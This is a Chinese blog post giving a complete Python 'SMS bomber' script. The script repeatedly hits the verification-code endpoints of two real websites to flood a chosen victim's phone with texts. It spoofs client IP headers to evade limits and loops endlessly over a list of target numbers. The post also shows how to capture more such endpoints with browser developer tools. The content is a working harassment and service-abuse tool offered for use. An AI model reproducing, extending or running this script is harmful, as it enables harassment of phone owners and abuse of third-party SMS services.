短信轰炸机简单自制,用 Python 就可以

已收录   阅读次数: 4,781
2021-04-1721:29:20 发表评论
摘要

此前,伯衡君介绍过不少短信轰炸机,同时也介绍了它的相关制作原理,今天伯衡君就来给大家演示一下如何轻松用python这门编程语言来做制作一个短信轰炸机,模板都有哦,只需要稍微添加的网站和要袭击的手机号码就可以了,咱们开始吧……

分享至:
短信轰炸机简单自制,用 Python 就可以

开篇寄语

此前,伯衡君介绍过不少短信轰炸机,同时也介绍了它的相关制作原理,今天伯衡君就来给大家演示一下如何轻松用python这门编程语言来做制作一个短信轰炸机,模板都有哦,只需要稍微添加的网站和要袭击的手机号码就可以了,咱们开始吧。

前情提要

内容详情

1.制作原理

其实短信轰炸机的原理就是利用各个网络平台,有一个输入手机号,获取验证码这个功能,只需要写程序遍历各个网站就可以了。

2.简单源码

#!/usr/bin/python
# -*- coding: utf-8 -*-

import requests
import random
import socket
import struct
import time

def init_api(phone):
    api_list = [
        ["http://reg.ztgame.com/common/sendmpcode?source=giant_site&nonce=&type=verifycode&token=&refurl=&cururl=http://reg.ztgame.com/&mpcode=&pwd=&tname=&idcard=",
            60, "巨人网络", "GET", {'phone': phone}, "http://reg.ztgame.com/"],

        ["http://jrh.financeun.com/Login/sendMessageCode3.html", 60, "金融号", "GET", {"mobile": phone, "mbid": "197858","check":"3"},
         "http://jrh.financeun.com/Login/jrwLogin?web=jrw"],
    ]
    return api_list

# 短信初始化
class init_sms(object):
    """docstring for init_sms"""

    def __init__(self):
        super(init_sms, self).__init__()
        self.sms_list = []
        self.intervalInfo = 0

    def init_bomb(self,api_list):
        for x in api_list:
            self.intervalInfo += 1
            self.sms_list.append(sms_object(x[0], x[1], x[2], x[3], x[4], x[5], self.intervalInfo))
        return self.sms_list


class sms_object(object):
    """docstring for sms_object"""  # __var 私有成员变量

    def __init__(self, url, interval, info, method, params, others, intervalInfo):
        super(sms_object, self).__init__()
        self.__url = url
        self.__interval = interval
        self.__info = info
        self.__intervalInfo = intervalInfo
        self.__method = method
        self.__params = params
        self.__others = others

    def getUrl(self):
        return self.__url

    def getInfo(self):
        return self.__info

    def getParams(self):
        return self.__params

    def getMethod(self):
        return self.__method

    def getOthers(self):
        return self.__others

    def getInterval(self):
        return self.__interval

    def getintervalInfo(self):
        return self.__intervalInfo

    def setintervalInfo(self, intervalInfo):
        self.__intervalInfo = intervalInfo


class Bomb(object):
    """docstring for Bomb"""

    def __init__(self):
        super(Bomb, self).__init__()
        self.HEADERS = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36',
            'Referer': 'http://10.13.0.1',
            'accept-encoding': 'gzip, deflate, br',
            'accept-language': 'zh-CN,zh-TW;q=0.8,zh;q=0.6,en;q=0.4,ja;q=0.2',
            'cache-control': 'max-age=0',
            "X-Requested-With": "XMLHttpRequest"
        }

    def send(self, SMS):
        # return "SUCCESS"
        IP = socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
        self.HEADERS['X-FORWARDED-FOR'] = IP
        self.HEADERS['CLIENT-IP'] = IP
        try:
            session = requests.Session()
            if SMS.getOthers() != "":
                session.get(SMS.getOthers(), timeout=5, headers=self.HEADERS)
                self.HEADERS['Referer'] = SMS.getOthers()
            if SMS.getMethod() == "GET":
                req = session.get(SMS.getUrl(), params=SMS.getParams(), timeout=5, headers=self.HEADERS)
            else:
                req = session.post(SMS.getUrl(), data=SMS.getParams(), timeout=5, headers=self.HEADERS)
        # print(req.url)
        except Exception as e:
            return str(e)
        return "已发送"



if __name__ == '__main__':
    # 手机号列表,如 ["12345678987","98765432123"]
    phoneList=[]
    bombNum=1
    while True: # 死循环
        currTime=0
        print("\n第",bombNum,"次轰炸!!!","\n")
        bombNum+=1
        for phone in phoneList: #遍历每个手机号
            api_list=init_api(phone) # API接口初始化
            print("\n电话:", phone)
            sms_list = init_sms().init_bomb(api_list=api_list)
            switchOn = Bomb()
            i = 0
            currTime = 0
            while True:
                currTime += 1
                # print(currTime)
                for x in sms_list:
                    if x.getintervalInfo() == 0:
                        i += 1
                        info = switchOn.send(x)
                        print(str(i) + "." + x.getInfo() + " " + info)
                        x.setintervalInfo(x.getInterval())
                    else:
                        x.setintervalInfo(x.getintervalInfo() - 1)
                time.sleep(5) #设置两次轰炸的间隔时间,单位是秒
                if i==len(api_list):
                    break

3.如何使用

只需要在模板下方的手机号列表,按例子填写手机号就可以了,比如用pycharm运行这套源码,在这里填写出手机号码,如下图所示:

短信轰炸机简单自制,用 Python 就可以

点击运行后,就开始陆续发送验证码了,如下图所示:

短信轰炸机简单自制,用 Python 就可以

4.如何自定义增加发送网站

目前该脚本只有两个发送短信的网站,大家可以自行寻找一番,那么如何寻找添加呢,伯衡君就以金融圈为例好了。

    ["http://jrh.financeun.com/Login/sendMessageCode3.html", 60, "金融号", "GET", {"mobile": phone, "mbid": "197858","check":"3"},
     "http://jrh.financeun.com/Login/jrwLogin?web=jrw"]

首先是打开金融圈这个网站,推荐用firefox浏览器,比较容易抓包。

短信轰炸机简单自制,用 Python 就可以

调出调试窗口,一般是按下f12出来,之后找到短信快捷登录,右侧找到Network。

然后,任意在输入框输入一个手机号,点击获取验证码,注意观察右侧出现的文件,如下图所示:

短信轰炸机简单自制,用 Python 就可以

随后,把这个链接咱们复制下来放在下面观察:

https://jrh.financeun.com/Login/sendMessageCode3.html?mobile=15303257898&mbid=197858&check=3

和伯衡君模板对比一下:

"http://jrh.financeun.com/Login/sendMessageCode3.html", 60, "金融号", "GET", {"mobile": phone, "mbid": "197858","check":"3"}

是不是豁然开朗?

其他类似网站就由自己来寻找吧。

温馨提示

因为很多网站有了那种文字验证码或者滑动验证码,一般是无法成功的,原因就是在提交地址的时候多了一个验证码内容,所以要避免这个问题,则需要另外高深的知识了,本篇就不再多做赘述了。

  • 我的微信
  • 微信扫一扫加好友
  • weinxin
  • 我的微信公众号
  • 扫描关注公众号
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: